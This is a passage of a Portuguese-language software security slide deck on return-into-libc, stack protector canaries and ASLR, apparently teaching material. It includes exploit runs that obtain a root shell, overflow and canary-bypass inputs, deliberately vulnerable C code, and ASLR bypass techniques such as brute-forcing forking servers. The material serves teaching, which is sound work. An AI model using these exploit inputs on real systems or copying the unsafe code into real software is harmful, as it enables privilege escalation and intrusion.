    Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O valor de esp tem que ser calculado considerando o vetor de injeção em argv[1]. [rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin ` ESP: 0xbffff1a4 [rafael@centos exemplos]$  O endereço de ebp 2 é calculado: es p + (276-256) ± offs et
  • 216.
    Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Usa-se a saída de printf e a de system para localizar exatamente o endereço de SH e STR. Tentativas também são feitas para descobrir o offset.
  • 217.
    Return-into-libc Planejamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos worx]$ ./exploit_return_into_libc_ex32 -28 [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex32.bin ` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA� ������P������������`<��P�������������P�V���� ����L���� sh-3.2# id uid=0(root) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfin ed_t sh-3.2# exit exit 0xbffff1ac0xb7f13c600x8048450 (nil)0xbffff1bc0xb7eafa900x80484500xbffffd560xbffff1cc0xb7ea 4ce00xdefaced0xffffffff0x414141410x414141410x414141 (nil)0x80482640xb7fcfff40x80484d00x8 0483700xbffff2180xab4381790x852c9569 (nil) (nil) (nil)0xb7ff60900xb7e8c5ad0xb7ffeff40x000 0020x8048370 (nil)0x80483910x80484520x0000020xbffff2440x80484d00x80484c00xb7ff0f500x bffff23c0xb7ffbaaa0x0000020xbffff3a70xbffff3be (nil)0xbffff50e0xbffff5300xbffff5430xbffff57a0xbfff F58a0xbffff5950xbffff5e50xbffff6200xbffff6320xbffff6460xbffff6520xbffffa7b0xbffffc120xbffffc380xbff Ffc680xbffffc990xbffffca90xbffffcf60xbffffd160xbffffd310xbffffda10xbffffdba0xbffffdcb0xbffffde30xbfff Fdf80xbffffe130xbffffe2a0xbffffe320xbffffe440xbffffe700xbffffe7f0xbffffebb0xbfffff1d0xbfffff3d0xbfffff4 a0xbfffff570xbfffff790xbfffff8f0xbfffffa80xbfffffcc (nil)0x0000200xb7ffd4200x0000210xb7ffd0000x00 00100x78bf3bf0x0000060x0010000x0000110x0000640x0000030x80480340x0000040x000020[raf ael@centos worx]$
  • 218.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 219.
    Stack Protector Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste no posicionamento de um valor (canary) na stack, de modo que quando ocorrer um overflow esse valor seja alterado.  No retorno da função esse valor é comparado ao valor original, e caso seja diferente o programa termina.
  • 220.
    Stack Protector Código de partida (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *func1(char *args[], int *len){ char *ptrstr; int i; char buf[256]; strcpy(buf, args[0]); i = 1; while(args[i] != NULL){ strcat(buf, " "); strcat(buf, args[i]); i++; } *len = strlen(buf); ptrstr = (char*)malloc((*len) + 1); if(ptrstr == NULL){ perror("func1"); exit(1); } strcpy(ptrstr, buf); return ptrstr; }
  • 221.
    Stack Protector Código de partida (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func(char *args[]){ unsigned int len; char *str; str = func1(args, &len); printf("Argumentos concatenados possuem %u bytes:n", len); printf("%sn", str); } int main(int argc, char *argv[]){ if(argc < 2){ fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>n", argv[0]); return 1; } func(&argv[1]); }
  • 222.
    Stack Protector Retaddr protegido (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O canary é colocado entre o ebp salvo e o endereço de retorno.  Com esse método, o endereço de retorno fica protegido. [rafael@centos stack protector]$ gcc -c stack_protector_ex2.s [rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'` stack overflow detectado Saindo... [rafael@centos stack protector]$
  • 223.
    Stack Protector Retaddr protegido (In)Segurança de Software, Quebrando Códigos - Rafael Rosa func1: ; prólogo pushl $0xaabbccdd pushl %ebp buf movl %esp, %ebp edi é salvo na pushl %edi ptrstr pilha porque é subl $292, %esp usado na função. i ; epílogo edi salvo addl $292, %esp popl %edi ebp salvo popl %ebp $0xaabbccdd popl %ebx xor $0xaabbccdd, %ebx retaddr je .stack_ok args call stack_check_fail .stack_ok: len ret
  • 224.
    Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Variáveis locais do tipo ponteiro ainda podem ser sobrescritas, de modo que se possa ler ou gravar em qualquer lugar na memória.  Com isso, pode-se sobrescrever a GOT, dtors, e ponteiros de função. [rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'` Argumentos concatenados possuem 160575496 bytes: 0� (3ÿ�� Segmentation fault [rafael@centos stack protector]$
  • 225.
    Stack Protector Reordenamento de variáveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Variáveis locais são reordenadas a fim de que buffers fiquem em posições mais altas de memória, impossibilitando que ocorra overflow de outras variáveis. [rafael@centos stack protector]$ gcc -c stack_protector_ex3.s [rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 226.
    Stack Protector Reordenamento de variáveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; strcpy(buf, args[0] movl 12(%ebp), %eax ptrstr movl (%eax), %eax i movl %eax, 4(%esp) leal -260(%ebp), %eax movl %eax, (%esp) buf call strcpy edi salvo ;i=1 ebp salvo movl $1, -264(%ebp) $0xaabbccdd ; if(ptrstr == NULL) cmpl $0, -268(%ebp) retaddr args len
  • 227.
    Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Argumentos do tipo ponteiro não são protegidos, o que gera um brecha para ataques. [rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'` Segmentation fault [rafael@centos stack protector]$
  • 228.
    Stack Protector Cópia de argumentos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Argumentos da função são copiados para o topo da pilha, assim, se os originais forem sobrescritos, o programa não será afetado, pois utiliza uma cópia segura dos mesmos. [rafael@centos stack protector]$ gcc -c stack_protector_ex4.s [rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 229.
    Stack Protector Cópia de argumentos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; copiando argumentos ; malloc((*len)+1) len subl $300, %esp movl -276(%ebp), %eax args movl 12(%ebp), %eax movl (%eax), %eax movl %eax, -272(%ebp) ptrstr addl $1, %eax movl 16(%ebp), %eax movl %eax, (%esp) i movl %eax, -276(%ebp) call malloc buf ; strcpy(buf, args[0]) movl -272(%ebp), %eax edi salvo movl (%eax), %eax movl %eax, 4(%esp) ebp salvo leal -260(%ebp), %eax $0xaabbccdd movl %eax, (%esp) call strcpy retaddr args len
  • 230.
    Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O ebp salvo ainda pode ser sobrescrito possibilitando a falsificação do frame de pilha da função chamadora, de modo que as variáveis e argumentos da mesma possam ser controladas.  Não é necessário ganhar o controle de um ponteiro, qualquer variável pode ser usada, basta setarmos o ebp para o endereço da GOT. [rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'` Argumentos concatenados possuem 1094795585 bytes: Segmentation fault [rafael@centos stack protector]$
  • 231.
    Stack Protector Protegendo o frame de pilha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O canary é colocado entre as variáeis locais e o ebp salvo de modo a detectar qualquer alteração em seu valor. [rafael@centos stack protector]$ gcc -c stack_protector_ex5.s [rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'` stack overflow detectado saindo... [rafael@centos stack protector]$
  • 232.
    Stack Protector Protegendo o frame de pilha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa len ; prólogo ; epílogo movl -8(%ebp), %ebx args func1: pushl %ebp xor $0xaabbccdd, %ebx ptrstr movl %esp, %ebp je .stack_ok i pushl %edi call stack_check_fail subl $304, %esp .stack_ok: movl 8(%ebp), %eax addl $304, %esp buf movl %eax, -276(%ebp) popl %edi movl 12(%ebp), %eax popl %ebp $0xaabbccdd movl %eax, -280(%ebp) ret edi salvo movl $0xaabbccdd, -8(%ebp) ebp salvo retaddr args len
  • 233.
    Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o canary é um valor conhecido, pode-se passar um vetor de injeção fazendo com que o valor do canary fique intacto.  Com isso, o teste de validação da integridade da stack não vai detectar o overflow, e o payload, pode então, ganhar o controle do eip. [rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “xddxccxbbxaa” . “A”x8' ` Illegal instruction [rafael@centos stack protector]$
  • 234.
    Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Estudos desenvolvidos em torno das técnicas de ataque levaram à criação de um mecanismo difícil de ser contornado.  Conta com proteção do endereço de retorno, proteção das variáveis locais, proteção dos argumentos, e proteção do ebp salvo.  O canary é randomizado de modo que não seja facilmente predizível.
  • 235.
    Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ char buf[8]; int main(int argc, char *argv[]){ int a, b; char buf2[8]; if(argc != 2){ long c; fprintf(stderr, "uso %s <param>n" , argv[0]); printf("str = %pn", &str); return 1; printf("buf = %pn", buf); } printf("a = %pn", &a); printf("b = %pn", &b); func(argv[1]); printf("buf2 = %pn", buf2); printf("c = %pn", &c); printf("fimn"); } strcpy(buf, str); }
  • 236.
    Stack Protector Proteção desabilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c [rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDD str = 0xbfffe7f0 buf = 0xbfffe7e0 a = 0xbfffe7dc b = 0xbfffe7d8 buf2 = 0xbfffe7d0 c = 0xbfffe7cc Segmentation fault [rafael@centos stack protector]$
  • 237.
    Stack Protector Proteção habilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex 6.c [rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDD str = 0xbfffe7c4 buf = 0xbfffe7dc a = 0xbfffe7d0 b = 0xbfffe7cc buf2 = 0xbfffe7d4 c = 0xbfffe7c8 *** stack smashing detected ***: ./stack_protector_ex62 terminated Aborted [rafael@centos stack protector]$
  • 238.
    Stack Protector A proteção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa stack protector ativado  Valor é comparado ao original no retorno da função e ; prólogo push %ebp movcaso sejam diferentes ostack protectoré detectado e o str %esp,%ebp overflow desativado sub programa termina. $0x38,%esp c mov 0x8(%ebp),%eax c b mov %eax,-0x24(%ebp) a mov %gs:0x14,%eax buf2 mov %eax,-0x4(%ebp) buf2 b ;epílogo a buf mov -0x4(%ebp),%eax xor %gs:0x14,%eax buf je 0x8048530 <func+172> canary call 0x804838c <__stack_chk_fail@plt> ebp ebp leave retaddr retaddr ret str str
  • 239.
    Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Atrapalha no desempenho do programa.  Proteção aplicada somente à arrays de char.  Array de char deve possuir no mínimo 8 bytes para que a proteção seja aplicada.  Array de char deve possuir no mínimo 8 bytes para que seja reordenado.  Variáveis de structs não são reordenadas.
  • 240.
    Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); int buf[8]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); int buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c [rafael@centos stack protector]$ ./stack_protector_ex7 str = 0xbfffe810 buf = 0xbfffe7dc a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7bc c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 241.
    Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x58,%esp c ;epílogo b leave a ret ebp retaddr str
  • 242.
    Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[7]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c [rafael@centos stack protector]$ ./stack_protector_ex8 str = 0xbfffe810 buf = 0xbfffe7f5 a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7ee c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 243.
    Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x28,%esp c ;epílogo b leave a ret ebp retaddr str
  • 244.
    Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c [rafael@centos stack protector]$ ./stack_protector_ex9 str = 0xbfffe7e4 buf = 0xbfffe7e9 a = 0xbfffe7f8 b = 0xbfffe7f4 buf2 = 0xbfffe7fc c = 0xbfffe7f0 fim [rafael@centos stack protector]$
  • 245.
    Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; prólogo push %ebp str mov %esp,%ebp sub $0x38,%esp buf mov 0x8(%ebp),%eax mov %eax,-x24(%ebp) c mov %gs:0x14,%eax b mov %eax,-0x4(%ebp) a ;epílogo mov -0x4(%ebp),%eax buf2 xor %gs:0x14,%eax je 0x804849e <func+154> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 246.
    Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa struct struc{ printf("buf = %pn", buf); char buf[20]; printf("a = %pn", &a); int a; printf("s.buf = %pn", &s.buf); }; printf("s.a = %pn", &s.a); printf("c = %pn", &c); void func(char *str){ } char buf[4]; int a; int main(int argc, char *argv[]){ struct struc s; func(argv[1]); long c; printf("fimn"); printf("str = %pn", &str); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c [rafael@centos stack protector]$ ./stack_protector_exA str = 0xbfffe7d4 buf = 0xbfffe7e8 a = 0xbfffe7e4 s.buf = 0xbfffe7ec s.a = 0xbfffe800 c = 0xbfffe7e0 fim [rafael@centos stack protector]$
  • 247.
    Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ;prólogo push %ebp str mov %esp,%ebp c sub $0x48,%esp a mov 0x8(%ebp),%eax mov %eax,-x34(%ebp) mov %gs:0x14,%eax buf mov %eax,-0x4(%ebp) s.buf ;epílogo mov -0x4(%ebp),%eax s.a xor %gs:0x14,%eax je 0x80484a1 <func+157> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 248.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 249.
    ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Address Space Layout Randomization. Permite o mapeamento de blocos do programa para regiões aleatórias de memória, a fim de que os endereços base dos blocos não sejam predizíveis.  O endereço de cada bloco é calculado separadamente, de tal forma que o endereço de cada um não tenha nenhuma relação com os outros.  Os blocos são três: área executável, área mapeada, e área da stack.
  • 250.
    ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2 [rafael@centos aslr]$ diff -uNr catmaps1 catmaps2 --- catmaps1 2009-09-16 11:09:29.000000000 -0300 +++ catmaps2 2009-09-16 11:09:31.000000000 -0300 @@ -1,14 +1,14 @@ -00439000-0043a000 r-xp 00439000 00:00 0 [vdso] 00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so 00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so 00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so +00b3c000-00b3d000 r-xp 00b3c000 00:00 0 [vdso] 00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so 00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so 00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so 00c80000-00c83000 rwxp 00c80000 00:00 0 08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat 0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat -09f36000-09f57000 rw-p 09f36000 00:00 0 [heap] -b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive -b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0 -bf963000-bf978000 rw-p bffea000 00:00 0 [stack] +08ca3000-08cc4000 rw-p 08ca3000 00:00 0 [heap] +b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive +b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0 +bf871000-bf886000 rw-p bffea000 00:00 0 [stack]
  • 251.
    ASLR Área executável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Apenas 16 bits são randomizados, do bit 12 ao bit 27 do endereço.
  • 252.
    ASLR Área mapeada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 12 ao bit 27 do endereço.  Após obtido o endereço base da heap, um offset é gerado randomicamente, marcando o início da mesma e mantendo um alinhamento de 64k.
  • 253.
    ASLR Área da stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 4 ao bit 27 do endereço.  Após obtido o endereço base da stack, um offset é gerado randomicamente para marcar o início da mesma.
  • 254.
    ASLR /proc (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sem o conhecimento dos endereços de memória do programa, para onde retornar?  O ASLR dificulta a execução de um ataque, porém para um ataque local: /proc/<pid>/maps ou /proc/<pid>/stat.
  • 255.
    ASLR Força bruta (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chamada à fork mantém o mapa de memória do programa intacto.  Em um servidor que bifurca para tratar cada conexão, é possível implementar ataques de força bruta. Caso o payload não ganhe o eip e o programa quebre, o processo pai continua rodando e uma nova conexão pode ser iniciada.
  • 256.
    ASLR Áreas de memória não randomizadas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A randomização não precisa ser feita em todas as áreas de memória. Pode haver setores não randomizados.  Pode-se utilizar código da .text ou de bibliotecas compartilhadas para ganhar o controle do eip.  Caso um ponteiro para o payload seja conhecido, pode- se usar instruções do programa ou utilizar dados brutos do mesmo como instruções para chegar à execução do payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
  • 257.
    ASLR ret2eax (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload retornado pela função explorada.  Sobrescrever endereço de retorno para executar: jmp eax. vetor de injeção payload &(jmp eax) ... função vulnerável buffer explorado EBP anterior retaddr ... eax
  • 258.
    ASLR ret2esp (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: jmp [esp]. esp vetor de injeção payload &(jmp esp) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 259.
    ASLR ret2ret (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: ret. esp vetor de injeção payload &(ret) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 260.
    ASLR ret2pop (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Retornar para instrução leave-ret. esp vetor de injeção payload &(leave-ret) 0x00 ptr buffer função vulnerável buffer explorado EBP anterior retaddr ... ptr buffer